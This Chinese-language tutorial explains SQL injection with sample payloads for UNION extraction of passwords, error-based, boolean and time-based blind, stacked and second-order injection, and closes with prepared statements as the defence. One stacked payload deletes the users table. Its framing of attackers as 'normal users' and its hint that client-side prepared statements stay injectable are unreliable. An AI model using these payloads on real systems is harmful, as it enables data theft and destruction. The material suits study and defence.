重新认识SQL注入
核心观点:其实并不存在什么"SQL注入",我们是正常用户,正常传入数据。只不过其他人查询的是管理员让你看的,而我们是绕过某些限制,看到了正常用户看不到的信息。
数据库信息探秘:三个关键系统表
在开始之前,我们需要了解数据库中的三个默认表,它们是我们的"地图":
- SCHEMATA - 存储所有数据库信息
- TABLES - 存储所有表信息
- COLUMNS - 存储所有字段信息
正常查询 vs 信息探测查询
正常业务查询:
SELECT * FROM test.user;
信息探测查询:
-- 查看所有数据库
SELECT schema_name FROM information_schema.schemata;
-- 查看特定数据库(test)中的所有表
SELECT table_name, table_type, engine, create_time
FROM information_schema.tables
WHERE table_schema = 'test';
-- 查看特定表(user)的所有字段
SELECT column_name, data_type, is_nullable, column_default
FROM information_schema.columns
WHERE table_schema = 'test' AND table_name = 'user';
SQL注入类型区分
数字型注入
接收语句示例:
String sql = "SELECT id, title, content, author FROM articles WHERE id = " + id;
特征:参数直接拼接,我们直接写语句即可
攻击示例:
id = 1 AND 1=2 UNION SELECT username, password FROM users --
字符型注入(主要攻击场景)
接收语句示例:
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
特征:传入参数在引号内部,我们需要进行闭合
SQL注入攻击流程
判断攻击类型
数字型判定 :
id=1 AND 1=1 -- 永真,应返回正常页面
id=1 AND 1=2 -- 永假,应返回异常或空页面
字符型判定 :
username=admin' AND '1'='1 -- 永真
username=admin' AND '1'='2 -- 永假
字符型闭合原理详解
原查询语句:
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
当我们传入:
username=admin&password=admin' AND '1'='1
最终语句变成:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin' AND '1'='1'
我们传入的参数完美融入了语句,成为了语句的一部分。就像开头说的一样:我们是正常的用户,输入的是正常的语句。
获取数据的方法
1. 联合查询(Union-Based)
我们使用的语句包括:IF、CONCAT、SUBSTRING、LIKE、UNION等。在禁止某些函数的情况下,可以更换函数达到相同的查询效果。
2. 报错注入(Error-Based)
主要使用updatexml()、extractvalue()函数实现。
使用条件:配置有报错处理示例代码环境:
$sql = "SELECT * FROM users WHERE id = $id";
$result = $conn->query($sql);
if (!$result) {
echo "MySQL错误信息: " . $conn->error . "<br><br>";
} elseif ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "ID: " . $row["id"]. " - 用户名: " . $row["username"]. "<br>";
}
} else {
echo "没有找到结果<br>";
}
攻击语句:
id=1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)
因为代码中做了报错处理,会出现报错信息。我们通过修改报错信息的输出内容,最终让报错信息显示为我们想要的数据库名。
盲注技术
个人理解:这就是一个不存在平局的猜拳游戏,只有两个结果。
1. 布尔盲注(Boolean-Based)
布尔值只有True和False两个状态,我们通过不断测试来获取信息。
示例:
SELECT * FROM users WHERE username = 'username' AND password = 'password'
我们传入:
username=admin' and (select length(password) from users where username='admin') = 10#
这句话就是在猜测admin用户的密码长度是不是10位:
-
如果正确,会显示正常页面
-
如果错误,会显示错误页面
我们通过页面回显来判断猜测是否正确。(#会注释掉后面的语句)
2. 时间盲注(Time-Based)
和布尔盲注类似,只不过我们使用sleep()函数来判断。
示例:
username=admin' AND IF((SELECT length(password) FROM users WHERE username='admin')=10, SLEEP(5), 0)--
这段语句判断admin用户的密码长度是不是10位:
-
如果正确,会延迟5秒响应
-
如果错误,会立即返回
我们根据是否有延迟来判断猜测是否正确。
其他攻击手法
4. 堆叠注入(Stacked Queries)
简单来说就是两个语句同时执行。
原语句:
SELECT * FROM users WHERE username = 'username' AND password = 'password'
攻击语句:
username=admin'; DELETE FROM users WHERE 1=1--
组合后:
SELECT * FROM users WHERE username = 'admin'; DELETE FROM users WHERE 1=1--' AND password = '$password'
5. 二次注入(Second-Order Injection)
问题存在于插入和调用两个环节。
攻击流程:
-
注册时存入恶意用户名:' UNION SELECT database()--
-
登录时系统自动调用查询
假设默认查询语句:
sql="SELECT * FROM users WHERE username = 'admin';"
实际组合后:
SELECT * FROM users WHERE username = '' UNION SELECT database()--';"
就会显示出数据库信息。
总结:SQL注入的本质是让我们的输入成为合法的SQL语句部分,从而绕过正常的数据访问限制。理解原理比记忆语句更重要!
现在我们简单了解了攻击手段,我们了解一下怎么防御?
我们主要的防御手段为------预编译
预编译
这就是一个标准的预编译语句
String sql = "SELECT * FROM users WHERE username = ? AND email = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "alice"); // 设置第一个问号的值为 "alice"
pstmt.setString(2, "alice@example.com");
ResultSet rs = pstmt.executeQuery();
我们可以看到和之前的语句不一样,不是根据我们传入的参数(类似username=admin),而是一个问号(?)。
看下面的代码,代码是直接将传入的数据填入语句中。在这个过程中,语句是固定的。不存在安全隐患。看上去确实是完美。那么说就不存在SQL注入了吗??
其实预编译分为真实预编译和虚假预编译。
其主要的区别为:该语句是由服务器定死的还是我们可以发挥主观能动性,自己修改的。
真实预编译:
// 连接字符串中开启服务端预编译
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=true";
Connection conn = DriverManager.getConnection(url, "user", "pass");
// 这行代码执行时,SQL模板就发送到数据库进行预编译了
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");
// 只发送参数给数据库
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery();
虚拟预编译:
// 连接字符串中关闭服务端预编译(或使用默认)
String url = "jdbc:mysql://localhost:3306/test?useServerPrepStmts=false";
Connection conn = DriverManager.getConnection(url, "user", "pass");
// 这行代码几乎什么都不做
PreparedStatement pstmt = conn.prepareStatement("SELECT name FROM users WHERE id = ?");
// 客户端把参数拼接成完整SQL:SELECT name FROM users WHERE id = 100
pstmt.setInt(1, 100);
ResultSet rs = pstmt.executeQuery(); // 发送完整SQL到数据库
看着差不多,代码的区别为useServerPrepStmts=true/false这个选项。开启了我们就真的可以放弃了。
这个选项的意义就是是否开启预编译,在Mysql中这个选项是默认关闭的。这就给我们攻击手段的最后的希望。